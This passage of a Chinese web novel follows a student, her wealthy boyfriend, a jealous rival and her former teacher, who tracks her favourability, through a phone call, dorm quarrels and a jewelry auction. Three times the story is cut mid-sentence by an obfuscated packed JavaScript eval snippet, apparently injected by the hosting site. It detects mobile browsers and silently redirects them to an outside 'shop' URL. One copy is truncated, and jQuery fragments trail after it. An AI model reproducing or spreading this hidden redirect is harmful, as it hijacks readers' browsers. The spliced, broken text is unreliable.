结果戚致廷很脏地骂了一声,变脸极快,一下子气急败坏:“这个脑残,就这么耐不住性子吗,跟没见过女人似的……濮怀玉!别着急挂!他联系你,你没有理他对吧?你肯定会后悔的!以后说不定得是你打爆我的电话,求着我非要问到Jacob的去向。” 他真的很喜欢做假设,而且是可能性低于0.000…1%的假设。濮怀玉懒得跟他争辩,瞄了一眼隗祯的表情:“就算我求,难道你就会告诉我吗?你肯定想我用别的东西来交换。” 比如“尽快跟Jacob分手”,像个有lgbt倾向的鸡爸爸一样看着他。 电话那头,戚致廷的语气因为酒精神经质地轻快起来:“你很了解我啊,濮同学。” 他是不是以为自己特疯批,特帅啊。濮怀玉又偷窥了一眼隗祯。 现场多一个人,造成的尴尬感可远不止双倍。 “所以濮怀玉,我要用你的一句话交换。”戚致廷大着舌头,“交换Jacob以后的去向,他乐意去哪儿,我来告诉你。万一有一天他对你腻了,不配合你了,还有我配合你,不好吗?” “腻了”“配合”……隗祯在心里冷笑。他可从来不觉得濮怀玉是会任他们摆布的类型。 濮怀玉:“你想知道什么。” “你还真喜欢Jacob啊,我以为你只是跟他玩玩呢。” 此刻,戚致廷的心声微妙的跟隗祯的有所重合,不过戚致廷感受到的是以为拿捏到人的畅快,隗祯则是苦的、麻的,就像过了季、再也不好吃的涩柿子。 竟然是认真的。 ——认真地把自己推进火坑里去。 “那天晚上跟Grace玩纸牌,你一连赢了五局,你说你是新手,我不信。” “你不相信关我什么事。” 戚致廷又笑了两声:“我就问一句,你到底有没有出千?” 有病吧?濮怀玉觉得莫名其妙。 她好不容易同意一次,以为这位少爷能直捣黄龙,问点更有意义的、能把她逼退的问题,结果他只是一时兴起问着玩玩儿而已。 “没有。”冷淡中夹杂仿佛带有些许热气的莫名,濮怀玉嗤笑一声,“我就是聪明,以及运气好。” 她就是这样一个面面俱到的女人。 就算谈了一个傻缺男朋友,就算在这儿为了回答一个傻缺男的问题强行中断晚餐,她也是完美的。 “好,我信了。” 濮怀玉直接挂断电话,把手机扔到桌角。 转头偶然跟隗祯对上视线时,她拿食指戳了戳自己的额角:“他不仅这里有问题,而且太把自己当回事。我们吃我们的。” 就好像他们两个缩在一个小小的角落,可以肆无忌惮说些坏话,旁人加不进来。 “他们那个圈子里的通病。”隗祯也觉得自己刚才想太多,濮怀玉又不是傻孩子,在恋爱关系中有自己的判断,心情迅速平复下来,“对了,濮怀玉,我上次忘记问你了。跟宿舍里其他同学相处得怎么样?有没有一起出去玩过?” “出去吃过饭,算破冰宴。” 燕京一处豪华公寓内,戚致廷则对着已经跳转回主界面的手机屏幕狂笑不止。酒精充盈头脑的情况下,他的态度确实相比较于平时更诚恳,跟喜怒哀惧不再欲盖弥彰隔着一层薄薄的轻纱,而是直截了当地觉得濮怀玉确实很有意思。 也只有濮怀玉敢这样了,她还真是个十足的妙人。戚致廷在沙发上晃着高脚杯,意犹未尽回忆起前几天跟Grace对话的场景—— “你会用这笔钱做什么?”他突然问起情人关于金钱的去向。 Grace靠在他的臂弯里思索片刻:“我想去念书。” 这回答着实出乎戚致廷的意料,这可不是过去的Grace会给出的答案。在他看来,这位空乘小姐胸大无脑,除了挥霍根本想不到要去提升学历。 那么只有一个原因了。戚致廷夸张道:“你要读书?Grace啊Grace,你不会是脑洞大开,觉得努努力充实一下学历就可以嫁进我们家了吧?” 你才脑洞大开呢。“戚少,您别开玩笑了,我怎么会跟您奢求名分呢。” 话虽如此,Grace缓缓离开他的臂弯,也不趁机摸摸胸肌了,肢体语言相当诚实地拉开一段距离。 那些隐晦的羞辱似乎变的不再那般容易忍受,至少Grace自己虽然不敢行动,但她已经悄悄幻想起濮怀玉如何将戚致廷的另一只脚也踩肿——要是能直接踩坏就好了,老天爷为什么要赐予这样的人健康的双足呢。 戚致廷当然无法撬开脑袋,确认Grace发自身心的臣服,他只是忽然意识到一点:自己这任女伴确实想念书了,而且并不是为了嫁入豪门。 他有点微妙的不爽。男人都有点救风尘情结,结果影响Grace的人显而易见并不是他,而是那个让他忍痛一瘸一拐回家的濮怀玉,当然不高兴。 “真的跟我没关系吗?” “怎么没有。”Grace作出依恋模样,重新依偎过来,“没有戚少,我根本没办法实现理想。戚少对我来说,就像拯救我的天神一样。” 戚致廷满意了。 可惜他难得主动打电话过去问询,濮怀玉还没好气对他,真是不识好人心。 Grace不能嫁,她也不能。想到这里,戚致廷情不自禁剧烈摇晃起红酒杯,然后撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581259|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己半身。 “Shit!” 另一边,濮怀玉看了眼时间,站起身:“真不早了。你明天要上班,我明天要早八。” “吃饱了吗?吃饱就走吧。” 隗祯重新拿出外套,看她潇洒地把袖管抖上去,跟变魔术似的,穿衣的同时不忘说“吃饱了”。 走出门外,隗祯感慨:“没想到可以聊到这么晚。” 比起上回,这一次聚餐是真的细致很多。简单的安好彼此已然知晓,能够分享的唯剩最宝贵、也最漫长的“经历”。 “冷吗?我这里有围巾。” 她拒绝得直白:“我不冷。而且隗叔叔,除了男友,戴其他异性的围巾不好。我也不想让长辈受冻。” “抱歉。”隗祯原是有分寸感的人,刚才脱口而出,现在也只能向她致歉。 冷风在脸颊上刮出带刺的痒意,隗祯颇觉懊恼。如今就算没有友好值上下浮动的提示,他也会觉得自己不对。 濮怀玉站在屋檐下,并不着急离开:“隗叔叔,和你聊天的感觉很好。你要是留在一中,会有更多学生记着你的。我说真的,没有一个字是谎言。” 她浅浅仰起脸,眼底直白到眩目的真挚,任何人都拒绝不了。她正肯定眼前人、肯定眼前人的才能。 “但你在这里感觉更轻松,不用那么辛苦。我再怎么惋惜,都只是我自己的看法。” 隗祯:“你只是……希望一个人有多少能力就做多少事而已。” 濮怀玉很淡地笑了笑,先一步走进夜幕,对他招手:“隗叔叔再见。” “再见。” 他看着濮怀玉走进一家点心店,在橱窗外认真点了要打包的饼干,付完钱抱在怀里,往公交站台走。 一直看到人不见。 再次跟简晟有交集,是追到濮怀玉宿舍楼下。他模样俊俏,衣着不凡,拿着订好的花束固然向外人彰显名草有主,但还是有女生凑上前以交朋友为理由要微信。 “我是来跟我女朋友赔礼道歉的,不好意思啊,以后有机会我女朋友在旁边,她同意我交新朋友,我就加你。” 而这天,濮怀玉刚从实验室出来,连口热乎的饭都没吃上,便见宿舍楼下里一层外一层,宿管阿姨都要被吸引过来了。 总感觉不妙。 “小玉!” 见到人,简晟眼睛一亮,抱着花束冲出人群,差点被绊倒使出滑铲。不过他是帅哥,就算犯傻也只会被人说可爱。 稳住身体,他小心翼翼将花捧到濮怀玉眼皮底下:“我真的错了,你不理我的这么多天,我怎么都睡不好觉,你就原谅我吧。” “我现在很饿。”言下之意,快让她去吃饭行不行。 结果简晟先把花塞到濮怀玉怀里,再从口袋里掏出巧克力饼干,撕开包装纸的时候一双手都在抖,恭敬递到濮怀玉嘴边。 “……我自己可以吃,不用你喂。” 拿过来咬两口,濮怀玉咀嚼时对上简晟湿漉漉的眼睛,含糊道:“行了,以后照旧。” 冷冰冰的女主角终于被热情混血小狗“拿下”,周围人除了鼓掌叫好,似乎也没有别的反应可以给出来了。 紧接着便是简晟带过来的跟班不厌其烦,挨个走过去让同学删视频。濮怀玉则小幅度打了个哈欠,指了一下宿舍楼:“我先上去了,今天比较忙,你也早点休息吧。” 简晟用力点头,看上去下一秒就要双手合十对天还愿:“好的好的。” 他到底是怎么消化好所有的龃龉想到这一出,借着其他人的目光来施压的成分在里头占几分,濮怀玉没空想。 夜晚的实验课总归将她的晚饭时间推迟,刚才答应得那般干脆,濮怀玉也想不出应付的成分占了几分。 她的初恋,好像挺随便的。 但濮怀玉也没有借此生出哀悼之心。她在拾阶而上的途中思考晚饭吃什么,然后手机提示音开始闪烁。 【Jacob】:来参加拍卖会吗[可怜] 【Jacob】:[图片.jpg] 【Jacob】:一定要来好不好,特别特别想你,也有好多话要跟你说[可怜] 进宿舍门前,濮怀玉回了个“ok”。 33. 033 濮怀玉一进宿舍,冯盈没忍住双腿一蹬,连人带椅子滑了出去:“你们又和好了?” 林从露正在水池边洗脸,笑道:“我们刚才听到声音,本来想下楼凑热闹,但是冯盈觉得那个人有点像简晟,万一我们在,你更尴尬怎么办,就没有去。” “其实还好。”濮怀玉将花放在桌上,想了想还是准备搬到阳台,回头道,“但还是谢谢你们为我考虑。 幸好不是夏天,只是她又没有在宿舍养花的习惯,放着恐怕会招虫子。如是想着,濮怀玉微一皱眉,手往花枝里面伸——是纸钞的质感。 原先放个东西就能出门买饭,然后吃饭洗澡一气呵成,眼下却要一点一点把扎在花枝根部的钞票都挑出来,整理好留待当面归还,濮怀玉的心情烦躁起来。 微掩的阳台门后,齐央正在书桌旁保养皮肤,迟来地慢悠悠说道:“这就原谅,看来以后有的是苦头要吃呢。” 冯盈性格温吞,但作为寝室里跟濮怀玉关系最好的朋友,还是出言劝阻:“齐央,你少说两句……” “所以我说错了吗?” 齐央将淤积的面霜一点点抹开,“那简晟是什么家境,单是燕京本地人一条就够了,还是有钱的本地人。她是什么背景,被欺负一次就该跑了。为了一点小恩小惠接着受气,苦头不给她吃给谁吃?” 她是宿舍里唯一的燕京本地人,家庭状况算不上富裕,单方面跟濮怀玉不对付,说话总有些夹枪带棒。 在冯盈和林从露眼里,她简直有够莫名其妙。起初质疑濮怀玉,觉得她根本不是学校认为的新生励志榜样,看着别提有多健康阳光,濮怀玉解释清楚后消停了一阵;而自从濮怀玉参加了跟其他院系新生的联谊,很快就把简晟带回来,更像是一下子找到了为难的由头,话更密了。 但再怎么样,也终究是抬头不见低头见的室友。林从露不想出头,可她好歹也是地方国企小领导的女儿,无非缺一个燕京身份。此刻,她难免觉得自己也被冒犯到。 “你这是什么意思?照你这么说,我们这几个没有燕京户口的都是穷鬼,不配跟本地人谈恋爱喽。你嘴里还吃着濮怀玉上次带回来的饼干呢,都不积点口德。” 齐央脸颊一红,刚想反驳说这饼干说不定都是少爷包办的,她吃两口怎么了,就对上濮怀玉面无表情的脸。 “饼干是我自己买的,我不是每次出门都跟他见面。”她就这样蹲在门口,既不生气,也不站起身,字面意义上累成狗,“齐央,我知道你对我挺关心的,下次能不能斟酌一下措辞。因为我觉得还算中肯,但可能会误伤别人。” 齐央的脸这下涨成西红柿色了:“不是,谁关心你了……!”而且刚刚明明是林从露自己对号入座,她有什么办法! 濮怀玉幽幽道:“我都懂,你不用继续辩解了。”要不然怎么其他都行,一听到她要见简晟和简晟的朋友,立马有如见过类似的“惨状”,好像下一秒就要脱口而出,说“你见那几个有钱的混蛋干什么”。 所以她蹲在门口,露出“我看人很准”的表情。 “……我根本就不关心你,我讨厌你还来不及呢!”齐央急得要爆炸,“你也别蹲在那里了行不?你本来就最后一个回宿舍,还不……还不快点吃饭洗漱,等会儿就要熄灯了!” 濮怀玉总算起身:“哦。我来了。” 买完饭,她经过齐央的座位,在她身后停下脚步,居然出声:“但我还是不希望你以后再随随便便怀疑什么,随随便便就给谁定性。” 濮怀玉脚步无声,齐央差点被吓得原地高高跳起来,然而眼前人的眼神很认真,她也就慢慢坐了回去。 “就算你出发点是好的,我也没有配合你进行户口调查的义务。” 齐央依旧嘴硬:“行啊,你跟少爷分手的时候别哭就行了。” “我为他掉眼泪干什么。” 濮怀玉回到位置上刚准备开饭,齐央忽然叫了她一声:“濮怀玉。” “?” 像是突然下定决心。“……掉眼泪其实也不是什么大事,就怕他会做别的更过分的事。” 齐央不是没有听说过一些风声,她家里虽然不发达,但也能听到只言片语,所以道:“他们那些人想要毁了谁的下半生,很容易的。你还是女生,别惹恼他们。” “我知道。” 濮怀玉没告诉她,其实自己已经做了,而且不止一件。真说了,她不得着急得团团转,恨不得下一秒就把她打包回老家,天高皇帝远。 拍卖会当天,濮怀玉拾掇拾掇穿上Dior外套,照常cos“简晟的女朋友”出门,一坐上车就慵懒地靠着。 好处是,濮怀玉从不会觉得拘谨约束,这也是她迷人的地方。 手摸到挎包,是简晟第一次约会时送来的miumiu,容量很大。她顺手将里面的纸包抽出来,递到简晟眼前。 “喏,这个给你。” 到这儿,简晟还以为是她准备的礼物,未免像摇尾巴讨巧的小狗一样心花怒放。 这些日子没有外界的声音来干扰,他又实在想跟濮怀玉继续拍拖,逼急了现出原形,此刻心安理得美滋滋起来:“明明之前是我不对,你怎么还送我——” 然而甫一拆开,是一沓被压平的、鲜红的钞票,依稀可见折痕与弯曲的痕迹。 濮怀玉不怎么接受礼物,成套的衣服和负担不起的包包象征性地接受一两个,拿来增加一点并行时的匹配感;现在连现金都不要。 简晟脸上的笑容随即一黯:“小玉,你怎么不收啊。我在网上看到,好多女生都喜欢这种礼物,说实在又浪漫,很难不欢喜……而且这还只是小钱里的小钱。” 他原本想送的金额甚至塞不进去。 自己真的搞砸了吗?简晟慌起来,自己搞砸了这么多次,濮怀玉跟他提分手似乎也是应该的。 “我不想收。就这样。” 简晟凑上去,热忱到好像回到开始交往的头两个星期:“那你等会儿试戴的时候,提前选一串自己喜欢的首饰,进场后只要举牌子,很简单的。” 濮怀玉嘴上敷衍他:“哦,我多看看。” 说是拍卖会,她是当成博物馆来参观的,怎么会随便带走藏品。 而她也真的见到很多收藏级别的宝物,尤其是风格各异的画作。但这里毕竟不是真正意义上的博物馆,博物馆仅限于隔窗相望的朦胧,在这里能用钞能力一亲芳泽。因此,简晟拉着她,颇有目的性地直奔珠宝区。 “简公子!真是好久不见。”声音先出来,来人一身精致西装,头油抹得微微发亮,是港城人的长相,在惊喜声中跟简晟相拥寒暄,“令姐最近要过生日,还望简公子帮我问句好。” 松开后,简晟介绍:“这位是本场的拍卖官Michael。” “第一次见简公子带女伴来啊,还是位很有范的冰美人。”握手间Noah不着痕迹打量,短暂搜寻记忆却始终找不到能跟这张脸对上的高贵身份。 “Michael,这是我的女朋友濮小姐。我还没有跟姐姐提过,所以……” 言及于此,Michael明白了,眼前的“冰美人”再怎么气质不俗,也不是跟简晟相配到能把好事捅到简家大小姐那里的富家千金。 “我懂。濮小姐,幸会。” “幸会。”濮怀玉对他简单致意。出门在外被递了冰美人的名片,倒也无需操心措辞方面的问题了。 “Michael,这次来是为了给我们小玉挑一件首饰。我前不久刚得罪了她,得好好赔罪才行。” “那您更得精心地选!不仅是珠宝配美人的道理,里面有这层缘由,更得贴一贴心。” 两个人就像广告词一样对话起来,看起来颇有意趣。等到热度稍稍冷却,简晟才在濮怀玉耳边悄悄说:“Michael眼光比我好,你多听听他的。” 濮怀玉又是一阵敷衍,看着Michael跟工作人员沟通,然后隔着手套小心地拿出一串蓝宝石项链,深邃有如凝固的海洋,即便没有打光也能够华彩四溢,恍惚间似乎真的模拟了海水荡漾的肌理。 “这条‘深蓝之眼’可是货真价实的icebeauty标配啊。” “噗。” 濮怀玉面无表情吐露沉闷的笑——她已经尽力压抑了,实在是脑袋里似乎有两个好朋友在你一言我一语指着icebeauty的头衔大笑,于是濮怀玉跟着没忍住。 笑过还得装一装,将这场cosplay延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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要是戴在别人手里,比如简晟,她会连带他那根纤纤玉指一起赞美。但濮怀玉自己从小到大从没有在手指上装过任何东西,所以她没办法习惯。 简晟观察她的神态,有点漫不经心,还以为濮怀玉不太满意,只是碍于面子不能说,便悄悄去握她垂在身侧的左手:“小玉,我刚刚看到一套珠宝,跟‘雨夜幽灵’一个设计师,特别适合你的气质。” “‘雨夜幽灵’?” 见濮怀玉有兴趣,简晟挽住她的胳膊就要移驾:“对,出自一位法国珠宝大师之手。据说这位女士灵感迸发之际,正是在雨天的时候。” “当时,她看见街头贪玩的孩子们依旧在活动,而自己在帘幕后垂垂老矣,就像一个雨夜徘徊的幽灵悄悄偷窃孩子们的青春,所以设计出了雨夜幽灵。” 濮怀玉若有所思,有不同的看法:“每个时间阶段都有自己的魅力。” 简晟含羞一笑:“小玉,你老了肯定还是会及时扇我巴掌的冰美人。” “我知道你在挤兑我,别装了。” Michael跟在后面,听着两个人的对话不禁想“这是在玩什么”。 来到展示台前,濮怀玉垂首。 法语看不懂,中文她总能看懂——“轮回之梦”。 与此同时,伴随姗姗来迟的脚步,一道男声将旁边相比精炼的中文冗长许多的法语念了出来。 精准,优雅,还有点浑然天成的把握感。 “真是个诗意的名字啊,隗老师觉得呢?” “……确实,王先生。” 濮怀玉转身,眼前人正是隗祯。从衣着到刚才的法语发音都做足了功课,一点都看不出小城市心理老师的痕迹,像游走在上流社会依旧能自得其乐的大人物。 系统:「蠢货,差点露馅了!你明明认出濮怀玉了,就非要炫耀这一下吗?」 系统:「……嗯?怀疑值怎么才到60?」 “姐夫?你怎么也来了。” 濮怀玉这才注意到隗祯身旁的男人,模样和打扮都像上个世纪的港星,浓眉大眼,笑时星眸微微闪。最可贵的是整体的挺拔有力,全身上下都是女娲精选的成果。 可惜的是,他站在隗祯的旁边,再俊美也要黯然失色。 放在简晟眼里,就是姐夫领了个跟自己的外形不相上下的男人(隗·80%美貌值·祯)到拍卖会来,还没有事先跟他通过气,相当可疑。 他丝毫没有注意到,真正可疑的,正在自己身侧。 “原来你是这么赚到钱的”——濮怀玉就这样可疑地看着隗祯,眼神带着淡淡的玩味。 34. 034 以王家旻光滑的脑袋根本想不到好弟弟脑洞到了哪一层,热情介绍道:“Jacob呀,这位是隗老师,是姐夫的心理咨询师。最近领你姐夫我呢赚了好大一笔钱,姐夫终于有钱给我们小Joy准备生日礼物啦!” “小简先生,幸会了。”隗祯微笑致意,得体到无可挑剔,站在那里就像一幅画。 简晟的同父异母的姐姐Joyce·Jen很强势,嫁了个门当户对的快乐公子哥也算互补。这种“互补”,简晟是清楚的。 “……心理咨询师啊。”眼下简晟摸了摸后脑勺,不禁在心里取笑自己想得太复杂。 他的姐夫是何等头脑简单的人,随后伸出手,由衷赞叹道:“隗老师,您可真英俊。我姐夫没有嫁……没有娶我姐姐之前在港城可是知名的翩翩贵公子,结果没想到今天碰到您这么个美男子,跟我姐夫站在一起也不逊色。” “谢谢你的赞美,小简先生。”隗祯同他简单握过手,后背渗出一点汗。 同这些人打交道是隗祯平生做起来最得心应手的小事,但濮怀玉就在旁边围观他的“不合身”,围观他此刻装模作样的寒暄。 微妙的耻意在心上蔓延开来。他要在从来坦诚、真挚的濮怀玉面前装成一个受赏识的体面人,这件事突然变的很难。 接下来轮到简晟,在王家旻问询前他便将手搭在濮怀玉肩膀上:“姐夫,小玉是我的女朋友。我瞒着姐姐偷偷谈的,您可别告诉她。” “你都开了这个口,我当然不会当叛徒。”谈个恋爱又没什么,王家旻还没听话到这个地步,满口答应。 濮怀玉从善如流:“姐夫好。” “哎!”王家旻应了一声,可高兴了。今天运气这么好,不仅碰到弟弟,还能深入弟弟的日常生活,他真是求之不得。 视线转而朝向旁边的隗祯,她问:“隗老师也看上这套‘轮回之梦’吗?” “哪里哪里,我是陪王先生来看他妻子的生日礼物的。” 就这样欲盖弥彰地对话,转眼间濮怀玉似乎厌烦了这一切,往旁边后退一步:“那就先给王先生看吧,谦让是小辈的美德。” “我就在这里谢谢弟妹了。”王家旻仍是乐呵呵的模样。 随后便是隗祯间歇附和王家旻没有营养的感慨,耳朵和注意力却已经飞到了不远处。 他听到两个人的对话: “要不要先去别处看看?Michael走了,我们可以随便看,喜欢什么就看什么。” “不用,稍微等一等吧。” 濮怀玉默默看了一眼手机屏幕,时间过得真快。随后她便在这般平常的瞬间开口:“你不是很介意我跟以前的老师见面吗?” “小玉,突然提这件事干什么,不是都过去了吗。”简晟有些紧张。 濮怀玉:“你今天见到了。” 简晟愣在原地。 “隗老师原本是我高中的心理老师,后来到燕京改做心理咨询师。”濮怀玉平静道,“世界真小啊,Jacob。” 简直可以说是围着他们简家人转。好像一个人要想出人头地,一定得在他们家里选一个服务。 服务于感情,或者服务于心灵。 濮怀玉有点厌烦。如果早知努力行路的终点是简家,那她绝不要踏上这趟漫长的旅途。 但在简晟脑海里,一切都变的清晰了。 难怪戚致廷那么警惕。要是濮怀玉跟个大腹便便的男老师说话,或是相貌普通的中年男人,他的警惕只会让简晟嗤之以鼻——拜托,他的小玉可挑了,不然怎么会看上他,没看上其他男的? 要是这位隗老师,所有都说的通了。 不止戚致廷要告状,他脑袋里的警报都一下子拉响了。 濮怀玉暂且没顾上他的反应,低头查看消息,比参加拍卖会有趣得多。 卫殊正从沪城发来贺电,说要学死在图书馆,她回消息说学不死,然后抬起头:“看来这事没过去啊,Jacob。” 要不然怎么突然跟只雄起的孔雀似的。 “没有。过去了。” 简晟的语气硬邦邦,半晌忍不住捉住濮怀玉的手腕,凑过去细细地小声问,“小玉,你真的没有喜欢过他——” “Jacob,你们来看吧。要是你们看上了,我就割爱了。” 傻姐夫的话来得太不合时宜。简晟忍不住一甩手——另一只没有牵着濮怀玉的手——然后在经过男人时抬眸看一眼。 隗祯对他示以微笑。从身段到面容,从皮相、骨相到气质,这个男人身上的细节得到了精心的雕琢,细看似乎要比傻姐夫还要惑人。 长这么高干什么。简晟在心里埋怨道。 生平第一次,这位小简先生觉得父母给的这张脸虽然可看性高,但还是不够尽善尽美。 “Jacob,这个手镯的主石颜色很特别。像你的眼睛。” “真的吗?”简晟都没有察觉到自己音色变的荡漾,就像求偶期的动物,黏糊糊地挨到她旁边,“还真有点像,你要是戴上,我的眼睛就在你的右手或者左手边了。” 濮怀玉试戴了一下,这是她本场为数不多有点感兴趣的首饰,随后回应他说:“感觉有点惊悚。” “那你很没有浪漫细胞了。” 工作人员全程站在展示柜背后,非常敬业地展现标准化微笑,实则心里都要笑疯了。 “所以,你真的没有喜欢过隗老师吧?” 简晟猝不及防继续被斩断的话题,春风吹又生,“他长那么好看,好像很难不喜欢。” 这个问题真是够疯的,幸好她跟隗祯离得足够远。濮怀玉取下手镯,对工作人员礼貌道谢,随后戴上戒指。 依旧是让人不适的紧凑感。除了主石很漂亮,仍旧是和简晟瞳孔颜色相仿的灰蓝色,她并不觉得有多特别。 “我说了,他以前是我的高中老师。你难道很赞同师生恋吗,这完全是软性犯罪。” 但简晟自行从她的停留读懂了“心意”,离开时走在她身旁,有些不依不饶:“但他现在不做老师了,你也不再是他的学生。” “怎么,想给我找侧室啊。”濮怀玉笑了一下,“就算现在可以恋爱,又怎么样。你说别人很难不喜欢他,难道我就要喜欢吗。这是什么道理。” 男人又不是金子,见到一个合适的就要马不停蹄爱一个。 金子有钱就能买,跟男人打交道可真是难太多了。至少濮怀玉觉得自己此刻够坦诚,但简晟却像是隐隐记了一笔似的。 “拍卖会应该马上就要开始了。” 她摸上简晟的后背,五指覆盖,到最后隔着价值不菲的外衣亲昵地戳了戳他的脊骨,“你打算继续站在这里跟我玩‘猜猜你会不会做’的小游戏吗。” 简晟瘪了瘪嘴,有些不情愿道:“那我们快进去吧。” “进去喽。”虽然,她大概率一次牌都不会举起来。 还是男人难伺候。烦人。 在现场坐下,电子屏幕滚动显示网络叫卖的价格,不能来到现场的贵客则用电话委托的方式彰显地位和财力。 濮怀玉一直在发呆,有时会动一下。简晟以为她临时看上了眼前正在加价的帕拉伊巴碧玺耳环,欣然加价五十万。 她只好附耳过去:“我只是在数有多少个零而已,不用管我喜欢什么。你举牌前想好了,付钱的是你,收藏的也是你。” 最后这一双耳环被其他人以三百二十万的价格拍下,整个过程Michael朗声加入话术循循善诱,让人像是置身一场打满腺上激素的赌局之中,很难不热血冲头。 在重重加价声中,濮怀玉撑着下颚,眼神都很难跟着Michael的手势移动,冷漠到好像根本不在会场内,这里留住的不过是一副毫无动容、仅作看客的躯壳而已。 简晟有所察觉,握住她的手揉捏指根,轻声安慰道:“再等等,很快就有意思了。” 这种场合再过一万年都不会对濮怀玉有吸引力,她都要打哈欠了。敷衍地答应一声,到底她没有松开。 两个人的小动作就这样被坐在后排的隗祯尽收眼底。 他们进场时间较晚,很大程度上是有隗祯这张俊俏但陌生的脸拦路。不少人来向王家旻打听他,要跟隗祯搭上线,耽误了不少时间。 王家旻虽然蠢笨,但在这趟旅程开始之前就明确向隗祯确认了他的想法。他在社交辞令上好歹也经过家族训练,所以代替隗祯婉拒了不少橄榄枝。 眼下,他笑着拍了一下已然抿唇挪开视线的隗祯,非要他再看一眼:“Jacob跟弟妹真般配。哎,你等会儿没别的事情吧?一起吃顿饭喽,我请客。” “到时候再看吧。”隗祯眼神闪烁,没有正面回答他。 “1021号,玛格丽特·勒克莱尔女士,和成名之作‘雨夜幽灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591754|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’相对应的最新作品,‘轮回之梦’。无论是设计,选择的宝石品质,还是深刻的寓意,都不遗余力将它托上巅峰。” “起拍价,七百万。” 简晟立马举牌,加价一百万,加完后知后觉转过头,歉意道:“不好意思啊小玉,应该你举的。等会儿加价的时候,你再举牌。” “随便。”濮怀玉并不是很在乎。 稍后,又是一百万加价。 举牌的是隗祯。王家旻和隗祯有约定,给妻子简鋆最终购置的生日礼物中,将拨给他成交价的百分之十作为报酬。 但现在,出于难以言喻的心情,他要跟濮怀玉竞价。 “二十六号,一千五百万。” 在节点上举起牌子的是濮怀玉。更像是完成任务,举完这一次她便彻底消极怠工。 然后,隗祯举牌,加价一百万。 是他帮王家旻赚到了穷极一生凭自己的脑袋瓜永远赚不到的数字,所以隗祯举牌举得没有任何心理障碍。 一定要拍下这套“轮回之梦”吗?隗祯的答案是否定的。 ——但他同样不想让濮怀玉的男友轻轻松松献上媚。 只用金钱打动人吗?不会这么容易的。 濮怀玉是个好孩子,得给出更多才行。 系统:「?」 系统很纳闷,不太理解:「你就这么看不惯,这么恨吗?」 对于隗祯的奇妙心理,系统称其为破防,但一时间不明白他破防的点:「我真是瞠目结舌,你觉得濮怀玉回头看到是你在对着干,会不会大跌眼镜给你扣除十以上的友好值?」 现在,濮怀玉对隗祯的友好值停留在“88”这个相当喜庆的数字。 「不是我一个人在加价,我有这份自由。而且把这场竞拍看作两个人的对决对其他人并不礼貌,系统。」 「据我对濮怀玉的了解,她并不在意这场拍卖,或许晚一点的饭更吸引人。」 系统心想,你还装起来了,说:「你刚才还没有答应王家旻。」 「人是会变的。」比如隗祯现在就觉得可以了,毕竟无论他在不在场,王家旻的妻弟都会和濮怀玉一同就餐,多他一个又如何。 也在这时,王家旻委婉告诉他:“隗老师,我们就不要继续加价了吧,看来Jacob比较想要。” “那真是可惜了。”隗祯自然不能不从,但他欲盖弥彰地笑了笑,“这套珠宝应该很适合简女士。” “三千万一次!” “三千万两次!” “……三千万成交!恭喜十二号买家!恭喜简总!” 成交价稍微有点超出简晟的预算,但是勒克莱尔设计的珠宝系列行情一直很好,要是这位女士最近死了,身价更是坐了火箭。就算不会戴在濮怀玉身上,也是一次胡说让人满意的小型投资。 何况濮怀玉全程参与,最终这套高珠里的手镯或是耳环还是会戴在她身上,简晟有种莫名的成就感。 他开始给王家旻发信息,问姐夫更看重哪套,这套暂且花落他家。王家旻回了个哭泣的表情包,虽然傻气,但挺讨喜。 “其实刚才那套,我还不是很欣赏得来。” 回完消息,王家旻跟隗祯交头接耳。和长相南辕北辙,他的审美相当主流,主流到俗气,但也相对保值便是。 等祖母绿的项链全方位无死角地在屏幕上旋转,隗祯道:“王先生,刚才那套欣赏不来不要紧,这条项链应该是个有点眼光的人,都会喜欢的。” Michael的声音插进来:“起拍价,一百五十万。” “而且您看,比刚才那套要值当。” 王家旻瞬间锁定目标,他就喜欢这种块头大的、款式经典的,不忘道:“还是你懂我。” 最终,这套项链以四百六十万的价格被王家旻拿下。 “还是你精打细算啊。”结束时,他还在感慨,“隗老师,找你来我真是做对了。” 隗祯表情淡然:“您过誉了,我什么都没有做。” 走过手续阶段,自然而然再度相遇。 “姐夫,你看这么巧,要不我们一起吃顿便饭?” “我们又心有灵犀了。”王家旻笑道,顺带拍拍隗祯的肩膀,让他也别奔波了,吃顿饭没什么要紧。 同濮怀玉隐隐对视一眼,他的笑容有些许虚伪: “那就……恭敬不如从命了。” 35. 035 饭桌上,简晟不止一点殷勤:“小玉,这块鹅肝特别嫩,入口即化。我把我的也给你吃。” “谢谢。”在盘中象征性地切成两块,濮怀玉最终还是没有一口一个,入口即化带来的微许不真切地眩晕感让她微微抬眸。 隗祯就坐在她的对面,秀色可餐。 就着此景下饭倒不失为一种意趣,濮怀玉很快垂下眼,专心吃烹调手段恰到好处的小羊排,汁水横溢,唇齿盈香。这大概是她从出门前的更衣直到现在最享受的时刻。 而对于隗祯微妙的煎熬,她一无所知。 